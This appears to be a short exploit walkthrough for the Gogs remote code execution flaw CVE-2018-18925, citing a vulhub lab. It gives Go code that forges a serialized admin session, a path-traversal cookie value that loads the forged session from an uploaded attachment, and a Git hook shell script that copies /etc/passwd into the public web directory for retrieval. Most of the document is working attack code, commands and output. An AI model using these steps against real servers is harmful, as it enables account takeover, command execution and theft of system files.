
Exploit for Gogs RCE (CVE-2018-18925) leveraging session forgery and Git hook injection to achieve arbitrary command execution with root privileges.

go run main.go
package main
import (
"bytes"
"encoding/gob"
"encoding/hex"
"fmt"
"io/ioutil"
)
func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
for _, v := range obj {
gob.Register(v)
}
buf := bytes.NewBuffer(nil)
err := gob.NewEncoder(buf).Encode(obj)
return buf.Bytes(), err
}
func main() {
var uid int64 = 1
obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
data, err := EncodeGob(obj)
if err != nil {
fmt.Println(err)
}
err = ioutil.WriteFile("data", data,0777)
if err != nil {
fmt.Println(err)
}
edata := hex.EncodeToString(data)
fmt.Println(edata)
}
A data file will be generated in the current directory.
root@kali:~/go/demo# cat readme.txt
go run main.go
0eff81040102ff82000110011000005aff82000306737472696e670c0a00085f6f6c645f75696406737472696e670c0300013106737472696e670c05000375696405696e7436340402000206737472696e670c070005756e616d6506737472696e670c060004726f6f74
root@kali:~/go/demo# cat data |xxd
00000000: 0eff 8104 0102 ff82 0001 1001 1000 005a ...............Z
00000010: ff82 0003 0673 7472 696e 670c 0a00 085f .....string...._
00000020: 6f6c 645f 7569 6406 7374 7269 6e67 0c03 old_uid.string..
00000030: 0001 3106 7374 7269 6e67 0c05 0003 7569 ..1.string....ui
00000040: 6405 696e 7436 3404 0200 0206 7374 7269 d.int64.....stri
00000050: 6e67 0c07 0005 756e 616d 6506 7374 7269 ng....uname.stri
00000060: 6e67 0c06 0004 726f 6f74 ng....root
root@kali:~/go/demo#

Attachment:
http://10.20.24.189:18080/attachments/c58bf501-7163-44a8-b77d-79c8396609bb
Set the i_like_gogits cookie field to the new release file path, with the first two letters spliced in as subdirectories.
For example:
attachments/c58bf501-7163-44a8-b77d-79c8396609bb
i_like_gogits=../attachments/c/5/c58bf501-7163-44a8-b77d-79c8396609bb

After modifying it

Root account

When the server is a Linux platform, directly write a shell script to execute commands.
The command triggers after new files are uploaded to the repository.
Obtain the absolute path through the static file root directory: For example
Static file root directory /app/gogs

Shell script content:
cat /etc/passwd > /app/gogs/public/js/1.js

Website echo path:
https://127.0.0.1:3000/js/1.js

Cannot execute custom hooks on Windows #4255
https://github.com/gogs/gogs/issues/4255
https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925